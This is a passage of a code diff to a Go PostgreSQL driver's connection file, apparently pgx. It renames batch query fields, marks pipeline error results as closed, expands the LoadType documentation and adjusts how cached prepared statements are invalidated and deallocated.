Name: stmtcache.NextStatementName(),
SQL: bi.query,
Name: stmtcache.StatementName(bi.SQL),
SQL: bi.SQL,
}
distinctNewQueriesIdxMap[sd.SQL] = len(distinctNewQueries)
distinctNewQueries = append(distinctNewQueries, sd)
@@ -1007,23 +1049,23 @@ func (c *Conn) sendBatchQueryExecModeCacheStatement(ctx context.Context, b *Batc
func (c *Conn) sendBatchQueryExecModeCacheDescribe(ctx context.Context, b *Batch) (pbr *pipelineBatchResults) {
if c.descriptionCache == nil {
return &pipelineBatchResults{ctx: ctx, conn: c, err: errDisabledDescriptionCache}
return &pipelineBatchResults{ctx: ctx, conn: c, err: errDisabledDescriptionCache, closed: true}
}
distinctNewQueries := []*pgconn.StatementDescription{}
distinctNewQueriesIdxMap := make(map[string]int)
for _, bi := range b.queuedQueries {
for _, bi := range b.QueuedQueries {
if bi.sd == nil {
sd := c.descriptionCache.Get(bi.query)
sd := c.descriptionCache.Get(bi.SQL)
if sd != nil {
bi.sd = sd
} else {
if idx, present := distinctNewQueriesIdxMap[bi.query]; present {
if idx, present := distinctNewQueriesIdxMap[bi.SQL]; present {
bi.sd = distinctNewQueries[idx]
} else {
sd = &pgconn.StatementDescription{
SQL: bi.query,
SQL: bi.SQL,
}
distinctNewQueriesIdxMap[sd.SQL] = len(distinctNewQueries)
distinctNewQueries = append(distinctNewQueries, sd)
@@ -1040,13 +1082,13 @@ func (c *Conn) sendBatchQueryExecModeDescribeExec(ctx context.Context, b *Batch)
distinctNewQueries := []*pgconn.StatementDescription{}
distinctNewQueriesIdxMap := make(map[string]int)
for _, bi := range b.queuedQueries {
for _, bi := range b.QueuedQueries {
if bi.sd == nil {
if idx, present := distinctNewQueriesIdxMap[bi.query]; present {
if idx, present := distinctNewQueriesIdxMap[bi.SQL]; present {
bi.sd = distinctNewQueries[idx]
} else {
sd := &pgconn.StatementDescription{
SQL: bi.query,
SQL: bi.SQL,
}
distinctNewQueriesIdxMap[sd.SQL] = len(distinctNewQueries)
distinctNewQueries = append(distinctNewQueries, sd)
@@ -1059,9 +1101,9 @@ func (c *Conn) sendBatchQueryExecModeDescribeExec(ctx context.Context, b *Batch)
}
func (c *Conn) sendBatchExtendedWithDescription(ctx context.Context, b *Batch, distinctNewQueries []*pgconn.StatementDescription, sdCache stmtcache.Cache) (pbr *pipelineBatchResults) {
pipeline := c.pgConn.StartPipeline(context.Background())
pipeline := c.pgConn.StartPipeline(ctx)
defer func() {
if pbr.err != nil {
if pbr != nil && pbr.err != nil {
pipeline.Close()
}
}()
@@ -1074,18 +1116,18 @@ func (c *Conn) sendBatchExtendedWithDescription(ctx context.Context, b *Batch, d
err := pipeline.Sync()
if err != nil {
return &pipelineBatchResults{ctx: ctx, conn: c, err: err}
return &pipelineBatchResults{ctx: ctx, conn: c, err: err, closed: true}
}
for _, sd := range distinctNewQueries {
results, err := pipeline.GetResults()
if err != nil {
return &pipelineBatchResults{ctx: ctx, conn: c, err: err}
return &pipelineBatchResults{ctx: ctx, conn: c, err: err, closed: true}
}
resultSD, ok := results.(*pgconn.StatementDescription)
if !ok {
return &pipelineBatchResults{ctx: ctx, conn: c, err: fmt.Errorf("expected statement description, got %T", results)}
return &pipelineBatchResults{ctx: ctx, conn: c, err: fmt.Errorf("expected statement description, got %T", results), closed: true}
}
// Fill in the previously empty / pending statement descriptions.
@@ -1095,12 +1137,12 @@ func (c *Conn) sendBatchExtendedWithDescription(ctx context.Context, b *Batch, d
results, err := pipeline.GetResults()
if err != nil {
return &pipelineBatchResults{ctx: ctx, conn: c, err: err}
return &pipelineBatchResults{ctx: ctx, conn: c, err: err, closed: true}
}
_, ok := results.(*pgconn.PipelineSync)
if !ok {
return &pipelineBatchResults{ctx: ctx, conn: c, err: fmt.Errorf("expected sync, got %T", results)}
return &pipelineBatchResults{ctx: ctx, conn: c, err: fmt.Errorf("expected sync, got %T", results), closed: true}
}
}
@@ -1112,12 +1154,12 @@ func (c *Conn) sendBatchExtendedWithDescription(ctx context.Context, b *Batch, d
}
// Queue the queries.
for _, bi := range b.queuedQueries {
err := c.eqb.Build(c.typeMap, bi.sd, bi.arguments)
for _, bi := range b.QueuedQueries {
err := c.eqb.Build(c.typeMap, bi.sd, bi.Arguments)
if err != nil {
// we wrap the error so we the user can understand which query failed inside the batch
err = fmt.Errorf("error building query %s: %w", bi.query, err)
return &pipelineBatchResults{ctx: ctx, conn: c, err: err}
err = fmt.Errorf("error building query %s: %w", bi.SQL, err)
return &pipelineBatchResults{ctx: ctx, conn: c, err: err, closed: true}
}
if bi.sd.Name == "" {
@@ -1129,7 +1171,7 @@ func (c *Conn) sendBatchExtendedWithDescription(ctx context.Context, b *Batch, d
err := pipeline.Sync()
if err != nil {
return &pipelineBatchResults{ctx: ctx, conn: c, err: err}
return &pipelineBatchResults{ctx: ctx, conn: c, err: err, closed: true}
}
return &pipelineBatchResults{
@@ -1161,7 +1203,15 @@ func (c *Conn) sanitizeForSimpleQuery(sql string, args ...any) (string, error) {
return sanitize.SanitizeSQL(sql, valueArgs...)
}
// LoadType inspects the database for typeName and produces a pgtype.Type suitable for registration.
// LoadType inspects the database for typeName and produces a pgtype.Type suitable for registration. typeName must be
// the name of a type where the underlying type(s) is already understood by pgx. It is for derived types. In particular,
// typeName must be one of the following:
// - An array type name of a type that is already registered. e.g. "_foo" when "foo" is registered.
// - A composite type name where all field types are already registered.
// - A domain type name where the base type is already registered.
// - An enum type name.
// - A range type name where the element type is already registered.
// - A multirange type name where the element type is already registered.
func (c *Conn) LoadType(ctx context.Context, typeName string) (*pgtype.Type, error) {
var oid uint32
@@ -1282,7 +1332,9 @@ func (c *Conn) getCompositeFields(ctx context.Context, oid uint32) ([]pgtype.Com
var fieldOID uint32
rows, _ := c.Query(ctx, `select attname, atttypid
from pg_attribute
where attrelid=$1 and not attisdropped
where attrelid=$1
and not attisdropped
and attnum > 0
order by attnum`,
typrelid,
)
@@ -1302,17 +1354,17 @@ order by attnum`,
}
func (c *Conn) deallocateInvalidatedCachedStatements(ctx context.Context) error {
if c.pgConn.TxStatus() != 'I' {
if txStatus := c.pgConn.TxStatus(); txStatus != 'I' && txStatus != 'T' {
return nil
}
if c.descriptionCache != nil {
c.descriptionCache.HandleInvalidated()
c.descriptionCache.RemoveInvalidated()
}
var invalidatedStatements []*pgconn.StatementDescription
if c.statementCache != nil {
invalidatedStatements = c.statementCache.HandleInvalidated()
invalidatedStatements = c.statementCache.GetInvalidated()
}
if len(invalidatedStatements) == 0 {
@@ -1336,5 +1388,10 @@ func (c *Conn) deallocateInvalidatedCachedStatements(ctx context.Context) error
return fmt.Errorf("failed to deallocate cached statement(s): %w", err)
}
c.statementCache.RemoveInvalidated()
for _, sd := range invalidatedStatements {
delete(c.preparedStatements, sd.Name)
}
return nil
}
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